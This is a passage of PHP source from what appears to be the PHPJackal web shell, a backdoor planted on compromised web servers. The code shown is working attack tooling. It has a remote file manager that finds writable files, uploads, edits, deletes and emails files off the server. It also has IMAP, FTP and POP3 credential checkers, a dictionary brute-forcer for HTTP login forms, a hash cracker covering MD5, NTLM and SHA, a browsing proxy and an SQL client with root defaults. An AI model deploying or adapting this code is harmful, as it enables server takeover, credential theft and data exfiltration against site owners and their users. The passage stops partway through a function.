  1069. case '1':if(is_writeable($adr)){if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";}break;
  1070. case '2':if(is_file($adr) && is_writeable($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";break;
  1071. case '3':if(is_dir($adr) && is_writeable($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";break;
  1072. case '4':if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";break;
  1073. case '5':if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";break;
  1074. case '6':if(preg_match('@'.$_REQUEST['search'].'@',$cont) || (is_file($adr) && preg_match('@'.$_REQUEST['search'].'@',file_get_contents($adr)))){if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";}break;
  1075. case '7':if(strstr($cont,$_REQUEST['search']) || (is_file($adr) && strstr(file_get_contents($adr),$_REQUEST['search']))){if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";}break;
  1076. case '8':{if(is_dir($adr))rmdir($adr);else unlink($adr);rmdir($cwd);break;}
  1077. }
  1078. if(is_dir($adr))listdiR($adr,$task);
  1079. }
  1080. }
  1081. if(!checkfunctioN('posix_getpwuid')){function posix_getpwuid($u){return 0;}}
  1082. if(!checkfunctioN('posix_getgrgid')){function posix_getgrgid($g){return 0;}}
  1083. function filemanageR(){
  1084. global $windows,$cwd,$hcwd;
  1085. echo '<img src="http://h.ackerz.com/PHPJackal/images/filemanager.png" style="border: none; margin: 0;" /><br /><br />';
  1086. if(!empty($_REQUEST['task'])){
  1087. if(!empty($_REQUEST['search']))$_REQUEST['task']=7;
  1088. if(!empty($_REQUEST['re']))$_REQUEST['task']=6;
  1089. echo '<font color=blue><pre>';
  1090. listdiR($cwd,$_REQUEST['task']);
  1091. echo '</pre></font>';
  1092. }else{
  1093. if(!empty($_REQUEST['cP']) || !empty($_REQUEST['mV']) || !empty($_REQUEST['rN'])){
  1094. if(!empty($_REQUEST['cP']) || !empty($_REQUEST['mV'])){
  1095. $title='Destination';
  1096. $ad=(!empty($_REQUEST['cP']))?$_REQUEST['cP']:$_REQUEST['mV'];
  1097. $dis=(!empty($_REQUEST['cP']))?'Copy':'Move';
  1098. }else{
  1099. $ad=$_REQUEST['rN'];
  1100. $title='New name';
  1101. $dis='Rename';
  1102. }
  1103. if(empty($_REQUEST['deS'])){
  1104. echo '<table border="0" cellspacing="0" cellpadding="0"><tr><th>'.$title.':</th></tr><tr><td><form method="POST"><input type=text value="';if(empty($_REQUEST['rN']))echo $cwd;echo '" size="60" name="deS"></td></tr><tr><td>'.$hcwd.'<input type="hidden" value="'.htmlspecialchars($ad).'" name="cp"><input type="submit" value="'.$dis.'"></form></table>';
  1105. }else{
  1106. if(!empty($_REQUEST['rN']))rename($ad,$_REQUEST['deS']);
  1107. else{
  1108. copy($ad,$_REQUEST['deS']);
  1109. if(!empty($_REQUEST['mV']))unlink($ad);
  1110. }
  1111. }
  1112. }
  1113. if(!empty($_REQUEST['deL'])){if(is_dir($_REQUEST['deL']))listdiR($_REQUEST['deL'],8);else unlink($_REQUEST['deL']);}
  1114. if(!empty($_FILES['uploadfile'])){
  1115. move_uploaded_file($_FILES['uploadfile']['tmp_name'],$_FILES['uploadfile']['name']);
  1116. echo "<b>Uploaded!</b> File name: ".$_FILES['uploadfile']['name']." File size: ".$_FILES['uploadfile']['size']. "<br />";
  1117. }
  1118. $select="<select onChange='document.location=this.options[this.selectedIndex].value;'><option value='".hlinK("seC=fm&workingdiR=$cwd")."'>--------</option><option value='";
  1119. if(!empty($_REQUEST['newf'])){
  1120. if(!empty($_REQUEST['newfile'])){file_put_contents($_REQUEST['newf'],'');}
  1121. if(!empty($_REQUEST['newdir'])){mkdir($_REQUEST['newf']);}
  1122. }
  1123. if($windows){
  1124. echo '<table border="0" cellspacing="0" cellpadding="0"><tr><td><b>Drives:</b>';
  1125. for($i=66;$i<=90;$i++){$drive=chr($i).':';
  1126. if(disk_total_space($drive)){echo " <a title='$drive' href=".hlinK("seC=fm&workingdiR=$drive\\").">$drive\\</a>";}}
  1127. echo "</td><tr></table>";
  1128. }
  1129. }
  1130. $ext= array('7z','ai','aiff','asc','avi','bat','bin','bz2','c','cfc','cfm','chm','class','com','conf','cpp','cs','css','csv','dat','deb','divx','dll','doc','dot','eml','enc','exe','flv','gif','gz','hlp','htaccess','htpasswd','htm','html','ico','image','iso','jar','java','jpeg','jpg','js','link','log','lua','m','m4v','mid','mm','mov','mp3','mpg','odc','odf','odg','odi','odp','ods','odt','ogg','pdf','pgp','php','pl','png','ppt','ps','py','ram','rar','rb','rm','rpm','rtf','sig','shtml','sql','swf','sxc','sxd','sxi','sxw','tar','tex','tgz','txt','vcf','vsd','wav','wma','wmv','xls','xml','xpi','xvid','zip');
  1131. echo '
  1132. <table border="0" cellspacing="0" cellpadding="0">
  1133. <form method="POST"><tr><th width="20%">Location:<input type="text" name="workingdiR" size="40" value="'.$cwd.'"><input type="submit" value="Change"></form></th></tr></table>';
  1134. $file=$dir=$link=array();
  1135. if($dirhandle=opendir($cwd)){
  1136. while($cont=readdir($dirhandle)){
  1137. if(is_dir($cwd.DIRECTORY_SEPARATOR.$cont))$dir[]=$cont;
  1138. elseif(is_file($cwd.DIRECTORY_SEPARATOR.$cont))$file[]=$cont;
  1139. else $link[]=$cont;
  1140. }
  1141. closedir($dirhandle);
  1142. sort($file);sort($dir);sort($link);
  1143. echo '<table border="0" cellspacing="0" cellpadding="0" width="100%"><tr><th width="240"><b>Name</b></th><th width="100"><b>Owner</b></th><th width="130"><b>Modification time</b></th><th width="130"><b>Last access</b></th><th width="25"><b>Permission</b></th><th width="35"><b>Size</b></th><th width="50"><b>Actions</b></th></tr>';
  1144. $i=0;
  1145. foreach($dir as $dn){
  1146. echo '<tr onMouseOver="this.className=\'highlight\'" onMouseOut="this.className=\'normal\'"><td style="font-weight:bold;">';
  1147. $own='Unknow';
  1148. $owner=posix_getpwuid(fileowner($dn));
  1149. $mdate=date('Y/m/d H:i:s',filemtime($dn));
  1150. $adate=date('Y/m/d H:i:s',fileatime($dn));
  1151. $diraction=$select.hlinK('seC=fm&workingdiR='.realpath($dn))."'>Open</option><option value='".hlinK("seC=fm&workingdiR=$cwd&rN=$dn")."'>Rename</option><option value='".hlinK("seC=fm&deL=$dn&workingdiR=$cwd")."'>Remove</option></select></td>";
  1152. if($owner)$own="<a title=' Shell: ".$owner['shell']."' href='".hlinK('seC=fm&workingdiR='.$owner['dir'])."'>".$owner['name'].'</a>';
  1153. echo '<a href="'.hlinK('seC=fm&workingdiR='.realpath($dn)).'"><font';
  1154. if(is_writeable($dn))echo ' color="#006600"';elseif(!is_readable($dn))echo ' color="#990000"';
  1155. echo '><img src="http://h.ackerz.com/PHPJackal/images/icon/directory" border="0" /> ';
  1156. if(strlen($dn)>29)echo substr($dn,0,26).'...';else echo $dn;echo '</font></a></td>';
  1157. echo "<td>$own</td>";
  1158. echo "<td>$mdate</td>";
  1159. echo "<td>$adate</td>";
  1160. echo "<td>";echo "<a href='#' onClick=\"javascript:chmoD('$dn')\" title='Change mode'>";echo 'D';if(is_readable($dn))echo 'R';if(is_writeable($dn))echo 'W';echo '</a></td>';
  1161. echo "<td>------</td>";
  1162. echo "<td>$diraction";
  1163. echo '</tr>';
  1164. }
  1165. foreach($file as $fn){
  1166. echo '<tr onMouseOver="this.className=\'highlight\'" onMouseOut="this.className=\'normal\'"><td style="font-weight:bold;">';
  1167. $own='Unknow';
  1168. $owner=posix_getpwuid(fileowner($fn));
  1169. $fileaction=$select.hlinK("seC=openit&namE=$fn&workingdiR=$cwd")."'>Open</option><option value='".hlinK("seC=edit&filE=$fn&workingdiR=$cwd")."'>Edit</option><option value='".hlinK("seC=fm&downloaD=$fn&workingdiR=$cwd")."'>Download</option><option value='".hlinK("seC=hex&filE=$fn&workingdiR=$cwd")."'>Hex view</option><option value='".hlinK("seC=img&filE=$fn&workingdiR=$cwd")."'>Image</option><option value='".hlinK("seC=inc&filE=$fn&workingdiR=$cwd")."'>Include</option><option value='".hlinK("seC=checksum&filE=$fn&workingdiR=$cwd")."'>Checksum</option><option value='".hlinK("seC=mailer&attacH=$fn&workingdiR=$cwd")."'>Send by mail</option><option value='".hlinK("seC=fm&workingdiR=$cwd&cP=$fn")."'>Copy</option><option value='".hlinK("seC=fm&workingdiR=$cwd&mV=$fn")."'>Move</option><option value='".hlinK("seC=fm&deL=$fn&workingdiR=$cwd")."'>Remove</option></select></td>";
  1170. $mdate=date('Y/m/d H:i:s',filemtime($fn));
  1171. $adate=date('Y/m/d H:i:s',fileatime($fn));
  1172. if($owner)$own="<a title='Shell:".$owner['shell']."' href='".hlinK('seC=fm&workingdiR='.$owner['dir'])."'>".$owner['name'].'</a>';
  1173. $size=showsizE(filesize($fn));
  1174. $type= end(explode(".", $fn));
  1175. if(!in_array($type,$ext))$type='file';
  1176. echo '<a href="'.hlinK("seC=openit&namE=$fn&workingdiR=$cwd").'"><font';
  1177. if(is_writeable($fn))echo ' color="#006600"';elseif(!is_readable($fn))echo ' color="#990000"';
  1178. echo '><img src="http://h.ackerz.com/PHPJackal/images/icon/'.$type.'" border="0" /> ';
  1179. if(strlen($fn)>29)echo substr($fn,0,26).'...';else echo $fn;echo '</font></a></td>';
  1180. echo "<td>$own</td>";
  1181. echo "<td>$mdate</td>";
  1182. echo "<td>$adate</td>";
  1183. echo "</td><td>";echo "<a href='#' onClick=\"javascript:chmoD('$fn')\" title='Change mode'>";if(is_readable($fn))echo "R";if(is_writeable($fn))echo "W";if(is_executable($fn))echo "X";if(is_uploaded_file($fn))echo "U";echo "</a></td>";
  1184. echo "<td>$size</td>";
  1185. echo "<td>$fileaction";
  1186. echo '</tr>';
  1187. }
  1188. foreach($link as $ln){
  1189. $own='Unknow';
  1190. $owner=posix_getpwuid(fileowner($ln));
  1191. $linkaction=$select.hlinK("seC=openit&namE=$ln&workingdiR=$ln")."'>Open</option><option value='".hlinK("seC=edit&filE=$ln&workingdiR=$cwd")."'>Edit</option><option value='".hlinK("seC=fm&downloaD=$ln&workingdiR=$cwd")."'>Download</option><option value='".hlinK("seC=hex&filE=$ln&workingdiR=$cwd")."'>Hex view</option><option value='".hlinK("seC=img&filE=$ln&workingdiR=$cwd")."'>Image</option><option value='".hlinK("seC=inc&filE=$ln&workingdiR=$cwd")."'>Include</option><option value='".hlinK("seC=checksum&filE=$ln&workingdiR=$cwd")."'>Checksum</option><option value='".hlinK("seC=mailer&attacH=$ln&workingdiR=$cwd")."'>Send by mail</option><option value='".hlinK("seC=fm&workingdiR=$cwd&cP=$ln")."'>Copy</option><option value='".hlinK("seC=fm&workingdiR=$cwd&mV=$ln")."'>Move</option><option value='".hlinK("seC=fm&workingdiR=$cwd&rN=$ln")."'>Rename</option><option value='".hlinK("seC=fm&deL=$ln&workingdiR=$cwd")."'>Remove</option></select></td>";
  1192. $mdate=date('Y/m/d H:i:s',filemtime($ln));
  1193. $adate=date('Y/m/d H:i:s',fileatime($ln));
  1194. if($owner)$own="<a title='Shell: ".$owner['shell']."' href='".hlinK('seC=fm&workingdiR='.$owner['dir'])."'>".$owner['name'].'</a>';
  1195. echo '<tr onMouseOver="this.className=\'highlight\'" onMouseOut="this.className=\'normal\'"><td style="font-weight:bold;">';
  1196. $size=showsizE(filesize($ln));
  1197. echo '<a href="'.hlinK("seC=openit&namE=$ln&workingdiR=$cwd").'"><font color="#';
  1198. if(is_writeable($ln))echo ' color="#006600"';elseif(!is_readable($ln))echo ' color="#990000"';
  1199. echo '><img src="http://h.ackerz.com/PHPJackal/images/icon/link" border="0" /> ';
  1200. if(strlen($ln)>29)echo substr($ln,26).'...';else echo $ln;echo '</font></a></td>';
  1201. echo "<td>$own</td>";
  1202. echo "<td>$mdate</td>";
  1203. echo "<td>$adate</td>";
  1204. echo "</td><td>";echo "<a href='#' onClick=\"javascript:chmoD('$ln')\" title='Change mode'>L";if(is_readable($ln))echo "R";if (is_writeable($ln))echo "W";if(is_executable($ln))echo "X";echo "</a></td>";
  1205. echo "<td>$size</td>";
  1206. echo "<td>$linkaction";
  1207. echo '</tr>';
  1208. }
  1209. }
  1210. $dc=count($dir)-2;
  1211. if($dc==-2)$dc=0;
  1212. $fc=count($file);
  1213. $lc=count($link);
  1214. $total=$dc+$fc+$lc;
  1215. $min=min(substr(ini_get('upload_max_filesize'),0,strpos(ini_get('post_max_size'),'M')),substr(ini_get('post_max_size'),0,strpos(ini_get('post_max_size'),'M'))).' MB';
  1216. echo '
  1217. <tr><td colspan="2">Directory summery:</td><td colspan="6">Total:'.$total.' Directories:'.$dc.' Files:'.$fc.' Links:'.$lc.' Permission:';
  1218. if (is_readable($cwd)) echo 'R';if (is_writeable($cwd)) echo 'W' ;
  1219. echo '</td><tr><td colspan="7"></td></tr><tr><td colspan="3"><form method="POST">Find:<input type="text value="$pass" name="search"><br /><input type="checkbox" name="re" value="1">Regular expressions<input type="submit" value="Find">'.$hcwd.'<input type="hidden" value="7" name="task"></form></td><td colspan="4"><form method="POST">'.$hcwd.'<input type="hidden" value="fm" name="seC"><select name="task"><option value="0">Display files and directories in current folder</option><option value="1">Find writable files and directories in current folder</option><option value="2">Find writable files in current folder</option><option value="3">Find writable directories in current folder</option><option value="4">Display all files in current folder</option><option value="5">Display all directories in current folder</option></select><input type="submit" value="Do"></form></td></tr>
  1220. </table><br />
  1221. <table border="0" cellspacing="0" cellpadding="0">
  1222. <tr>
  1223. <th>New:</th><th></th width="40"> <th>Upload:</th>
  1224. </tr>
  1225. <tr>
  1226. <td><form method="POST"><input type="text" size="20" name="newf">
  1227. <input type="submit" name="newfile" value="File"><input type="submit" name="newdir" value="Folder"></form></td>
  1228. <td width="40"> </td><td><form method="POST" enctype="multipart/form-data"><input type="file" size="15" name="uploadfile">'.$hcwd.'<input type="submit" value="Upload"><br />Note: Max allowed file size to upload on this server is '.$min.'</form></td></tr></table>';
  1229. }
  1230. function imapchecK($host,$username,$password,$timeout){
  1231. $sock=fsockopen($host,143,$n,$s,$timeout);
  1232. $b=uniqid('NJ');
  1233. $l=strlen($b);
  1234. if(!$sock)return -1;
  1235. fread($sock,1024);
  1236. fputs($sock,"$b LOGIN $username $password\r\n");
  1237. $res=fgets($sock,$l+4);
  1238. fclose($sock);
  1239. if($res=="$b OK")return 1;else return 0;
  1240. }
  1241. function ftpchecK($host,$username,$password,$timeout){
  1242. $ftp=ftp_connect($host,21,$timeout);
  1243. if(!$ftp)return -1;
  1244. $con=ftp_login($ftp,$username,$password);
  1245. if($con)return 1;else return 0;
  1246. }
  1247. function pop3checK($server,$user,$pass,$timeout){
  1248. $sock=fsockopen($server,110,$en,$es,$timeout);
  1249. if(!$sock)return -1;
  1250. fread($sock,1024);
  1251. fwrite($sock,"user $user\n");
  1252. $r=fgets($sock);
  1253. if($r{0}=='-')return 0;
  1254. fwrite($sock,"pass $pass\n");
  1255. $r=fgets($sock);
  1256. fclose($sock);
  1257. if($r{0}=='+')return 1;
  1258. return 0;
  1259. }
  1260. function formcrackeR(){
  1261. global $hcwd;
  1262. if(!empty($_REQUEST['start'])){
  1263. if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0;
  1264. $url=$_REQUEST['target'];
  1265. $uf=$_REQUEST['userf'];
  1266. $pf=$_REQUEST['passf'];
  1267. $sf=$_REQUEST['submitf'];
  1268. $sv=$_REQUEST['submitv'];
  1269. $method=$_REQUEST['method'];
  1270. $fail=$_REQUEST['fail'];
  1271. $dic=$_REQUEST['dictionary'];
  1272. $type=$_REQUEST['combo'];
  1273. $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:'';
  1274. if(!file_exists($dic)){echo "Can not open dictionary."; return;}
  1275. $dictionary=fopen($dic,'r');
  1276. echo '<font color=blue>Cracking started...<br>';
  1277. while(!feof($dictionary)){
  1278. if($type){
  1279. $combo=trim(fgets($dictionary)," \n\r");
  1280. $user=substr($combo,0,strpos($combo,':'));
  1281. $pass=substr($combo,strpos($combo,':')+1);
  1282. }else{
  1283. $pass=trim(fgets($dictionary)," \n\r");
  1284. }
  1285. $url.="?$uf=$user&$pf=$pass&$sf=$sv";
  1286. $res=check_urL($url,$method,$fail,12);
  1287. if(!$res){echo "<font color=blue>U: $user P: $pass</font><br>";if($log)file_add_contentS($file,"U: $user P: $pass\r\n");if(!$type)break;}
  1288. }
  1289. fclose($dictionary);
  1290. echo 'Done!</font><br>';
  1291. }
  1292. else echo '<form name=cracker method="POST">
  1293. <div class="fieldwrapper">
  1294. <label class="styled" style="width:320px">HTTP Form cracker</label>
  1295. </div><div class="fieldwrapper">
  1296. <label class="styled">Dictionary:</label>
  1297. <div class="thefield">
  1298. <input type="text" name="dictionary" size="30" />
  1299. </div>
  1300. </div><div class="fieldwrapper">
  1301. <label class="styled">Dictionary type:</label>
  1302. <div class="thefield">
  1303. <ul style="margin-top:0;">
  1304. <li><input type="radio" value="0" checked name="combo" onClick="document.cracker.user.disabled = false;" /> <label>Simple (P)</label></li>
  1305. <li><input type="radio" name="combo" value="1" onClick="document.cracker.user.disabled = true;" /> <label>Combo (U:P)</label></li>
  1306. </ul>
  1307. </div>
  1308. </div><div class="fieldwrapper">
  1309. <label class="styled">Username:</label>
  1310. <div class="thefield">
  1311. <input type="text" name="user" value="admin" size="30" />
  1312. </div>
  1313. </div><div class="fieldwrapper">
  1314. <label class="styled">Action:</label>
  1315. <div class="thefield">
  1316. <input type="text" name="target" value="http://'.getenv('HTTP_HOST').'/login.php" size="30" />
  1317. </div>
  1318. </div><div class="fieldwrapper">
  1319. <label class="styled">Method:</label>
  1320. <div class="thefield">
  1321. <select name="method"><option selected value="POST">POST</option><option value="GET">GET</option></select>
  1322. </div>
  1323. </div><div class="fieldwrapper">
  1324. <label class="styled">Username field:</label>
  1325. <div class="thefield">
  1326. <input type="text" name="userf" value="username" size="30" />
  1327. </div>
  1328. </div><div class="fieldwrapper">
  1329. <label class="styled">Password field:</label>
  1330. <div class="thefield">
  1331. <input type="text" name="passf" value="passwd" size="30" />
  1332. </div>
  1333. </div><div class="fieldwrapper">
  1334. <label class="styled">Submit name:</label>
  1335. <div class="thefield">
  1336. <input type="text" name="submitf" value="submit" size="30" />
  1337. </div>
  1338. </div><div class="fieldwrapper">
  1339. <label class="styled">Submit value:</label>
  1340. <div class="thefield">
  1341. <input type="text" name="submitv" value="Login" size="30" />
  1342. </div>
  1343. </div><div class="fieldwrapper">
  1344. <label class="styled">Fail string:</label>
  1345. <div class="thefield">
  1346. <input type="text" name="fail" value="Try again" size="30" />
  1347. </div>
  1348. </div><div class="fieldwrapper">
  1349. <label class="styled"><input type=checkbox name=loG value=1 onClick="document.cracker.logfilE.disabled = !document.cracker.logfilE.disabled;" checked> Log:</label>
  1350. <div class="thefield">
  1351. <input type=text name=logfilE size=25 value="'.whereistmP().DIRECTORY_SEPARATOR.'.log">
  1352. </div>
  1353. </div>
  1354. '.$hcwd.'
  1355. <div class="buttonsdiv">
  1356. <input type="submit" name="start" value="Start" style="margin-left: 150px;" />
  1357. </div>
  1358. </form>';
  1359. }
  1360. function hashcrackeR(){
  1361. global $hcwd;
  1362. if(!empty($_REQUEST['hash']) && !empty($_REQUEST['dictionary']) && !empty($_REQUEST['type'])){
  1363. if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0;
  1364. $dictionary=fopen($_REQUEST['dictionary'],'r');
  1365. if($dictionary){
  1366. $hash=strtoupper($_REQUEST['hash']);
  1367. echo '<font color=blue>Cracking '.htmlspecialchars($hash).'...<br>';
  1368. $type=$_REQUEST['type'];
  1369. while(!feof($dictionary)){
  1370. $word=trim(fgets($dictionary)," \n\r");
  1371. if($type=='ntlm'){
  1372. $word=iconv('UTF-8','UTF-16LE',$word);
  1373. $type='md4';
  1374. }
  1375. if($hash==strtoupper((hash($type,$word)))){echo "The answer is $word<br>";if($log)file_add_contentS($file,"$x\r\n");break;}
  1376. }
  1377. echo 'Done!</font>';
  1378. fclose($dictionary);
  1379. }
  1380. else{
  1381. echo "Can not open dictionary.";
  1382. }
  1383. }
  1384. echo '
  1385. <form method="POST" name="hashform" class="form"><div class="fieldwrapper"><label class="styled" style="width:320px">Hash cracker</label></div><div class="fieldwrapper"><label class="styled">Dictionary:</label><div class="thefield"><input type="text" name="dictionary" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Hash:</label><div class="thefield"><input type="text" name="hash" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Type:</label><div class="thefield"><select name=type><option value=md2>MD2</option><option value=md4>MD4</option><option selected value=md5>MD5</option><option value=ntlm>NTLM</option><option value=sha1>SHA1</option><option value=sha224>SHA224</option><option value=sha256>SHA256</option><option value=sha384>SHA384</option><option value=sha512>SHA512</option></select></div></div><div class="fieldwrapper"><label class="styled"><input type=checkbox name=loG value=1 onClick="document.hashform.logfilE.disabled = !document.hashform.logfilE.disabled;" checked> Log:</label><div class="thefield"><input type=text name=logfilE size=25 value="'.whereistmP().DIRECTORY_SEPARATOR.'.log"></div></div>'.$hcwd.'<input type="submit" value="Crack" style="margin-left: 150px;" /></div></form>';
  1386. }
  1387. function pr0xy(){
  1388. global $hcwd;
  1389. echo '<img src="http://h.ackerz.com/PHPJackal/images/pr0xy.png" style="border: none; margin: 0;" /><br /><br /><form method="POST" class="feedbackform"><div class="fieldwrapper"><label class="styled">Navigator:</label><div class="thefield"><input type="text" name="urL" value="';if(empty($_REQUEST['urL'])) echo 'http://showip.com'; else echo htmlspecialchars($_REQUEST['urL']);echo '" size="30" /></div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" value="Go" style="margin-left: 150px;" /></div></form>';
  1390. if(!empty($_REQUEST['urL'])){
  1391. $u=parse_url($_REQUEST['urL']);
  1392. $host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';
  1393. $dir=dirname($file);
  1394. $con=getiT($_REQUEST['urL']);
  1395. $s=array("href=mailto"=>"HrEf=mailto","HREF=mailto"=>"HrEf=mailto","href='mailto"=>"HrEf=\"mailto","HREF=\"mailto"=>"HrEf=\"mailto","href=\'mailto"=>"HrEf=\"mailto","HREF=\'mailto"=>"HrEf=\"mailto","href=\"http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"href=\'http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"HREF=\'http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"href=http"=>"HrEf=".hlinK("seC=px&urL=http"),"HREF=http"=>"HrEf=".hlinK("seC=px&urL=http"),"href=\""=>"HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),"HREF=\""=>"HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),"href=\""=>"HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),'HREF="'=>'HrEf="'.hlinK("seC=px&urL=http://$host/$dir/"),"href="=>"HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),"HREF="=>"HrEf=".hlinK("seC=px&urL=http://$host/$dir/"));
  1396. $con=replace_stR($s,$con);
  1397. echo $con;
  1398. }
  1399. }
  1400. function sqlclienT(){
  1401. global $hcwd;
  1402. echo '<img src="http://h.ackerz.com/PHPJackal/images/sql.png" style="border: none; margin: 0;" /><br /><br />';
  1403. if(!empty($_REQUEST['serveR']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && !empty($_REQUEST['querY'])){
  1404. $server=$_REQUEST['serveR'];$type=$_REQUEST['typE'];$pass=$_REQUEST['pasS'];$user=$_REQUEST['useR'];$query=$_REQUEST['querY'];
  1405. $db=(empty($_REQUEST['dB']))?'':$_REQUEST['dB'];
  1406. $res=querY($type,$server,$user,$pass,$db,$query);
  1407. if($res){
  1408. $res=str_replace('|-|-|-|-|-|','</td><td>',$res);
  1409. $res=str_replace('|+|+|+|+|+|','</td></tr><tr onMouseOver="this.className=\'highlight\'" onMouseOut="this.className=\'normal\'"><td>',$res);
  1410. $r=explode('[+][+][+]',$res);
  1411. $r[1]=str_replace('[-][-][-]',"</th><th>",$r[1]);
  1412. echo '<table border="0" cellspacing="0" cellpadding="0"><tr><th>'.$r[1].'</th></tr><tr onMouseOver="this.className=\'highlight\'" onMouseOut="this.className=\'normal\'"><td>'.$r[0]."</td></tr></table><br />";
  1413. }
  1414. else{
  1415. echo "Failed!<br />";
  1416. }
  1417. }
  1418. if(empty($_REQUEST['typE']))$_REQUEST['typE']='';
  1419. echo '
  1420. <form name=client method="POST">
  1421. <div class="fieldwrapper">
  1422. <label class="styled" style="width:320px">SQL client</label>
  1423. </div><div class="fieldwrapper">
  1424. <label class="styled">Type:</label>
  1425. <div class="thefield">
  1426. <select name="typE">
  1427. <option valut=MySQL onClick="document.client.serveR.disabled = false;" ';if ($_REQUEST['typE']=='MySQL')echo 'selected';echo '>MySQL</option><option valut=MSSQL onClick="document.client.serveR.disabled = false;" ';if ($_REQUEST['typE']=='MSSQL')echo 'selected';echo '>MSSQL</option><option valut=Oracle onClick="document.client.serveR.disabled = true;" ';if ($_REQUEST['typE']=='Oracle')echo 'selected';echo ">Oracle</option><option valut=PostgreSQL onClick='document.client.serveR.disabled = false;' ";if ($_REQUEST['typE']=='PostgreSQL')echo "selected";echo '>PostgreSQL</option>
  1428. </select>
  1429. </div>
  1430. </div><div class="fieldwrapper">
  1431. <label class="styled">Server:</label>
  1432. <div class="thefield">
  1433. <input type="text" name="serveR" value="';if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);else echo 'localhost'; echo '" size="30" />
  1434. </div>
  1435. </div><div class="fieldwrapper">
  1436. <label class="styled">Username:</label>
  1437. <div class="thefield">
  1438. <input type="text" name="useR" value="';if (!empty($_REQUEST['useR'])) echo htmlspecialchars($_REQUEST['useR']);else echo 'root'; echo '" size="30" />
  1439. </div>
  1440. </div><div class="fieldwrapper">
  1441. <label class="styled">Password:</label>
  1442. <div class="thefield">
  1443. <input type="text" name="pasS" value="';if (isset($_REQUEST['pasS'])) echo htmlspecialchars($_REQUEST['pasS']);else echo '123456'; echo '" size="30" />
  1444. </div>
  1445. </div><div class="fieldwrapper">
  1446. <label class="styled">Database:</label>
  1447. <div class="thefield">
  1448. <input type="text" name="dB" value="';if (isset($_REQUEST['dB'])) echo htmlspecialchars($_REQUEST['dB']); echo '" size="30" />
  1449. </div>
  1450. </div> <div class="fieldwrapper">
  1451. <label class="styled">Query:</label>
  1452. <div class="thefield">
  1453. <textarea name="querY">';if (!empty($_REQUEST['querY'])) echo htmlspecialchars(($_REQUEST['querY']));else echo 'SHOW DATABASES'; echo '</textarea>
  1454. </div>
  1455. </div>'.
  1456. $hcwd.'
  1457. <div class="buttonsdiv">
  1458. <input type="submit" value="Query" style="margin-left: 150px;" />
  1459. </div></form>';
  1460. }
  1461. function querY($type,$host,$user,$pass,$db='',$query){
  1462. $res='';
  1463. switch($type){
  1464. case 'MySQL':
  1465. if(!function_exists('mysql_connect'))return 0;
  1466. $link=mysql_connect($host,$user,$pass);
  1467. if($link){
  1468. if(!empty($db))mysql_select_db($db,$link);
  1469. $result=mysql_query($query,$link);
  1470. while($data=mysql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
  1471. $res.='[+][+][+]';
  1472. for($i=0;$i<mysql_num_fields($result);$i++)
  1473. $res.=mysql_field_name($result,$i).'[-][-][-]';
  1474. mysql_close($link);
  1475. return $res;
  1476. }
  1477. break;
  1478. case 'MSSQL':
  1479. if(!function_exists('mssql_connect'))return 0;
  1480. $link=mssql_connect($host,$user,$pass);
  1481. if($link){
  1482. if(!empty($db))mssql_select_db($db,$link);
  1483. $result=mssql_query($query,$link);
  1484. while($data=mssql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
  1485. $res.='[+][+][+]';
  1486. for($i=0;$i<mssql_num_fields($result);$i++)
  1487. $res.=mssql_field_name($result,$i).'[-][-][-]';
  1488. mssql_close($link);
  1489. return $res;
  1490. }
  1491. break;
  1492. case 'Oracle':
  1493. if(!function_exists('ocilogon'))return 0;
  1494. $link=ocilogon($user,$pass,$db);
  1495. if($link){
  1496. $stm=ociparse($link,$query);
  1497. ociexecute($stm,OCI_DEFAULT);
  1498. while($data=ocifetchinto($stm,$data,OCI_ASSOC+OCI_RETURN_NULLS))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
  1499. $res.='[+][+][+]';
  1500. for($i=0;$i<oci_num_fields($stm);$i++)
  1501. $res.=oci_field_name($stm,$i).'[-][-][-]';
  1502. return $res;
  1503. }
  1504. break;
  1505. case 'PostgreSQL':
  1506. if(!function_exists('pg_connect'))return 0;
  1507. $link=pg_connect("host=$host dbname=$db user=$user password=$pass");
  1508. if($link){
  1509. $result=pg_query($link,$query);
  1510. while($data=pg_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
  1511. $res.='[+][+][+]';
  1512. for($i=0;$i<pg_num_fields($result);$i++)
  1513. $res.=pg_field_name($result,$i).'[-][-][-]';
  1514. pg_close($link);
